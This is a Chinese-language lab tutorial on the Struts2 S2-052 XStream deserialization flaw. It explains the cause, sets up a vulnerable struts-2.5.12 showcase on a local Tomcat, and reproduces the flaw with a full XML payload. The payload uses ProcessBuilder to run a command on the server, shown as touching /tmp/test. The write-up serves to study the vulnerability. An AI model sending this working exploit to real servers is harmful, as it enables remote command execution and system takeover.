一.了解漏洞
1.struts2是什么?
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。
2.Struts2-052是什么漏洞?
Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。
二.分析漏洞原理
1.struts2-052漏洞产生原因是什么?
Struts2的REST插件在解析请求中的xml文件时,调用了XStreamHandler,传入的数据没有进行安全监测而是会被默认进行反序列化。
2.一个系统存在这个漏洞会导致什么后果?
当struts2服务启动时,使用burpsuite等抓包软件截获数据包,并重写入可执行的payload,然后修改Content-Type:application/xml,重发即可在目标主机上自动反序列化生成执行文件,若文件恶意则会造成信息泄露或者系统被篡改等后果。
三.漏洞的重现和利用
1.下载java配置环境
linux系统默认带有java,只需要用java -version查看下当前版本,若没有则安装。
2.下载tomcat并配置
Servlet简介
Servlet主要运行在Web服务器上,用来扩展Web服务器的功能。
Tomcat简介
Tomcat 是一个优秀的Servlet容器,Tomcat本身完全用java语言编写。
有三种工作模式:
(1)Tomcat作为独立的Web服务器来单独运行,Servlet容器组件做为Web服务器中的一部分存在。
(2)作为其他Web服务器进程内的Servlet容器
(3)其他Web服务器进程外的Servlet容器。
默认是tomcat作为独立的Web服务器单独运行,如图结构。
1 $dnf install tomcat //安装tomcat此时/usr/share/tomcat/webapps目录下相关文件为空,此时需要从tomcat官网下载完整文件后,将webapps下所有文件导入/usr/share/tomcat/webapps中
1 $systemctl start tomcat //开启tomcat服务
启动成功!
3.下载存在漏洞的struts2框架版本并配置
从官网下载存在漏洞的struts框架版本,我下载的是struts-2.5.12,并解压,将apps目录下的struts2-rest-showcase.war文件放到/usr/share/tomcat/webapps下,重启tomcat后访问:http://127.0.0.1:8080/struts2-rest-showcase/
成功!
4、使用firefox抓包重现漏洞
使用firefox抓包
当edit后submit抓到post包
修改post包
请求头部修改为
Content-Type:application/xml
Body修改为
1 <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/tmp/test</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>提交!
返回500,查看/tmp目录多出test目录,成功
5.安装burpsuite并使用其截包重发
1
2 $wget http://labfile.oss.aliyuncs.com/courses/726/burpsuite_free.jar //安装burpsuite jar包
$/usr/bin/java -Xmx2g -jar burpsuite_free.jar //启动burpsuite
>
>
>